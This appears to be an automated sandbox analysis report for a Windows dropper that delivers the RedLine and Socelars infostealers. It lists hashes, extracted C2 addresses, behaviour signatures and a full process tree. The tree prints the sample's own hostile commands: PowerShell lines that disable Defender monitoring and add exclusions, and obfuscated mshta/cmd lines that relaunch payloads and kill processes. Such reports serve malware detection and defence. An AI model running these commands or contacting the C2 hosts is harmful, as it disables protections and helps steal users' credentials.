Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    20/11/2021, 04:36

General

  • Target

    a0183ddc59605205f37af101460de5c2.exe

  • Size

    10.3MB

  • MD5

    a0183ddc59605205f37af101460de5c2

  • SHA1

    f990eef90be40471bde64df1acddeda15e86947c

  • SHA256

    781824a03b746fbeedba42ceba949da4f93388bfd3c7eae4ab560417fd128a40

  • SHA512

    ed06b26da017d1595811698e313b351a16d11556078a2f81d73169dd92b75e6fcbc3d389458b4fb22db1a1f0ce42558e9b20168ee78fb2eeaa5c77380c158d65

Malware Config

Extracted

Family

redline

Botnet

media17plus

C2

91.121.67.60:51630

Extracted

Family

socelars

C2

http://www.gianninidesign.com/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 1 IoCs
  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 1 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a0183ddc59605205f37af101460de5c2.exe
    "C:\Users\Admin\AppData\Local\Temp\a0183ddc59605205f37af101460de5c2.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS404201B5\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        3⤵
          PID:956
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            4⤵
              PID:1416
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            3⤵
              PID:1056
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                4⤵
                  PID:1200
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c Wed1475daf8d83eb4ee.exe
                3⤵
                  PID:1972
                  • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed1475daf8d83eb4ee.exe
                    Wed1475daf8d83eb4ee.exe
                    4⤵
                      PID:1512
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c Wed14e8848dc0a8.exe
                    3⤵
                      PID:1452
                      • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14e8848dc0a8.exe
                        Wed14e8848dc0a8.exe
                        4⤵
                          PID:1696
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c Wed146cd9abbf86.exe /mixtwo
                        3⤵
                          PID:960
                          • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed146cd9abbf86.exe
                            Wed146cd9abbf86.exe /mixtwo
                            4⤵
                              PID:888
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Wed14a61b7346e6.exe
                            3⤵
                              PID:808
                              • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14a61b7346e6.exe
                                Wed14a61b7346e6.exe
                                4⤵
                                  PID:2172
                                  • C:\Users\Admin\AppData\Local\Temp\is-KR3MP.tmp\Wed14a61b7346e6.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-KR3MP.tmp\Wed14a61b7346e6.tmp" /SL5="$20188,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14a61b7346e6.exe"
                                    5⤵
                                      PID:2872
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c Wed148d25325fe1a53.exe
                                  3⤵
                                    PID:1736
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c Wed14074314ea334476.exe
                                    3⤵
                                      PID:996
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c Wed14686693dc972e.exe
                                      3⤵
                                        PID:1472
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /c Wed14913b204c27f2e9.exe
                                        3⤵
                                          PID:1552
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c Wed14ee130a604e2a.exe
                                          3⤵
                                            PID:896
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c Wed148985fecf.exe
                                            3⤵
                                              PID:912
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c Wed14176d754ef7d838.exe
                                              3⤵
                                                PID:272
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c Wed14773c6ddc763638.exe
                                                3⤵
                                                  PID:1012
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c Wed143f08e2d21bc4.exe
                                                  3⤵
                                                    PID:1352
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c Wed14df9919150a4ecf2.exe
                                                    3⤵
                                                      PID:1780
                                                • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exe
                                                  Wed14773c6ddc763638.exe
                                                  1⤵
                                                    PID:1112
                                                    • C:\Users\Admin\AppData\Local\Temp\is-S4EH7.tmp\Wed14773c6ddc763638.tmp
                                                      "C:\Users\Admin\AppData\Local\Temp\is-S4EH7.tmp\Wed14773c6ddc763638.tmp" /SL5="$10182,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exe"
                                                      2⤵
                                                        PID:2060
                                                        • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14773c6ddc763638.exe" /SILENT
                                                          3⤵
                                                            PID:2112
                                                      • C:\Windows\SysWOW64\mshta.exe
                                                        "C:\Windows\System32\mshta.exe" VBSCrIpT: cLOse ( CReateobJeCT ( "wSCRIPT.shElL" ). rUn("CmD.EXE /Q /R COPY /y ""C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe"" ..\gIzR.EXE && sTaRT ..\GiZR.exE /PcMPF0HRtawml6 & if """"== """" for %H IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe"" ) do taskkill /IM ""%~nXH"" -F " , 0 , TRUe ) )
                                                        1⤵
                                                          PID:1168
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /Q /R COPY /y "C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe" ..\gIzR.EXE && sTaRT ..\GiZR.exE /PcMPF0HRtawml6& if ""== "" for %H IN ( "C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe" ) do taskkill /IM "%~nXH" -F
                                                            2⤵
                                                              PID:2304
                                                              • C:\Users\Admin\AppData\Local\Temp\gIzR.EXE
                                                                ..\GiZR.exE /PcMPF0HRtawml6
                                                                3⤵
                                                                  PID:2340
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /IM "Wed143f08e2d21bc4.exe" -F
                                                                  3⤵
                                                                  • Kills process with taskkill
                                                                  PID:2352
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14686693dc972e.exe
                                                              Wed14686693dc972e.exe
                                                              1⤵
                                                                PID:1928
                                                                • C:\Users\Admin\AppData\Roaming\7933033.exe
                                                                  "C:\Users\Admin\AppData\Roaming\7933033.exe"
                                                                  2⤵
                                                                    PID:2568
                                                                  • C:\Users\Admin\AppData\Roaming\3215397.exe
                                                                    "C:\Users\Admin\AppData\Roaming\3215397.exe"
                                                                    2⤵
                                                                      PID:2624
                                                                    • C:\Users\Admin\AppData\Roaming\812052.exe
                                                                      "C:\Users\Admin\AppData\Roaming\812052.exe"
                                                                      2⤵
                                                                        PID:2640
                                                                      • C:\Users\Admin\AppData\Roaming\5961668.exe
                                                                        "C:\Users\Admin\AppData\Roaming\5961668.exe"
                                                                        2⤵
                                                                          PID:2792
                                                                        • C:\Users\Admin\AppData\Roaming\510775.exe
                                                                          "C:\Users\Admin\AppData\Roaming\510775.exe"
                                                                          2⤵
                                                                            PID:2764
                                                                            • C:\Users\Admin\AppData\Roaming\7099622.exe
                                                                              "C:\Users\Admin\AppData\Roaming\7099622.exe"
                                                                              3⤵
                                                                                PID:1688
                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                  "C:\Windows\System32\mshta.exe" vbsCRIPT: CLOSe ( CREateoBjECt ( "WscrIPT.ShELl" ). RuN( "cmd /R COpy /Y ""C:\Users\Admin\AppData\Roaming\7099622.exe"" UvBEEXS0j9TB14.exE && start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF """" == """" for %v iN ( ""C:\Users\Admin\AppData\Roaming\7099622.exe"" ) do taskkill -IM ""%~NXv"" /F " , 0, TRuE) )
                                                                                  4⤵
                                                                                    PID:2084
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /R COpy /Y "C:\Users\Admin\AppData\Roaming\7099622.exe" UvBEEXS0j9TB14.exE && start UvBEeXS0J9tB14.ExE -pkJzup02N2uLj2E & IF "" == "" for %v iN ( "C:\Users\Admin\AppData\Roaming\7099622.exe" ) do taskkill -IM "%~NXv" /F
                                                                                      5⤵
                                                                                        PID:1080
                                                                                  • C:\Users\Admin\AppData\Roaming\4636908.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\4636908.exe"
                                                                                    3⤵
                                                                                      PID:1620
                                                                                  • C:\Users\Admin\AppData\Roaming\8648778.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\8648778.exe"
                                                                                    2⤵
                                                                                      PID:2740
                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed1475daf8d83eb4ee.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed1475daf8d83eb4ee.exe" -u
                                                                                    1⤵
                                                                                      PID:1700
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14ee130a604e2a.exe
                                                                                      Wed14ee130a604e2a.exe
                                                                                      1⤵
                                                                                        PID:1920
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14ee130a604e2a.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14ee130a604e2a.exe
                                                                                          2⤵
                                                                                            PID:2440
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed148985fecf.exe
                                                                                          Wed148985fecf.exe
                                                                                          1⤵
                                                                                            PID:1292
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14e8848dc0a8.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed14e8848dc0a8.exe
                                                                                            1⤵
                                                                                              PID:2432
                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS404201B5\Wed143f08e2d21bc4.exe
                                                                                              Wed143f08e2d21bc4.exe
                                                                                              1⤵
                                                                                                PID:1976
                                                                                              • C:\Windows\system32\rundll32.exe
                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                1⤵
                                                                                                • Process spawned unexpected child process
                                                                                                PID:2700
                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                  2⤵
                                                                                                    PID:2708
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                  1⤵
                                                                                                    PID:2952

                                                                                                  Network

                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                        Replay Monitor

                                                                                                        Loading Replay Monitor...

                                                                                                        Downloads

                                                                                                        • memory/1028-55-0x0000000075881000-0x0000000075883000-memory.dmp

                                                                                                          Filesize

                                                                                                          8KB

                                                                                                        • memory/1112-191-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                          Filesize

                                                                                                          80KB

                                                                                                        • memory/1468-112-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                          Filesize

                                                                                                          100KB

                                                                                                        • memory/1468-79-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                          Filesize

                                                                                                          1.5MB

                                                                                                        • memory/1468-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                          Filesize

                                                                                                          1.5MB

                                                                                                        • memory/1468-120-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                          Filesize

                                                                                                          100KB

                                                                                                        • memory/1468-153-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                          Filesize

                                                                                                          152KB

                                                                                                        • memory/1468-102-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                          Filesize

                                                                                                          100KB

                                                                                                        • memory/1468-97-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                          Filesize

                                                                                                          100KB

                                                                                                        • memory/1468-130-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                          Filesize

                                                                                                          572KB

                                                                                                        • memory/1468-77-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                          Filesize

                                                                                                          572KB

                                                                                                        • memory/1468-76-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                          Filesize

                                                                                                          572KB

                                                                                                        • memory/1468-78-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                          Filesize

                                                                                                          572KB

                                                                                                        • memory/1468-80-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                          Filesize

                                                                                                          1.5MB

                                                                                                        • memory/1468-81-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                          Filesize

                                                                                                          1.5MB

                                                                                                        • memory/1468-83-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                          Filesize

                                                                                                          152KB

                                                                                                        • memory/1468-82-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                          Filesize

                                                                                                          1.5MB

                                                                                                        • memory/1696-157-0x0000000001110000-0x0000000001111000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/1920-195-0x0000000001270000-0x0000000001271000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/1928-208-0x0000000000370000-0x0000000000383000-memory.dmp

                                                                                                          Filesize

                                                                                                          76KB

                                                                                                        • memory/1928-199-0x0000000000980000-0x0000000000981000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/1928-209-0x0000000000390000-0x0000000000391000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/1928-204-0x0000000000360000-0x0000000000361000-memory.dmp

                                                                                                          Filesize

                                                                                                          4KB

                                                                                                        • memory/2432-224-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                          Filesize

                                                                                                          128KB

                                                                                                        • memory/2432-217-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                          Filesize

                                                                                                          128KB

                                                                                                        • memory/2432-216-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                          Filesize

                                                                                                          128KB

                                                                                                        • memory/2432-218-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                          Filesize

                                                                                                          128KB

                                                                                                        • memory/2432-219-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                          Filesize

                                                                                                          128KB

                                                                                                        • memory/2432-220-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                          Filesize

                                                                                                          128KB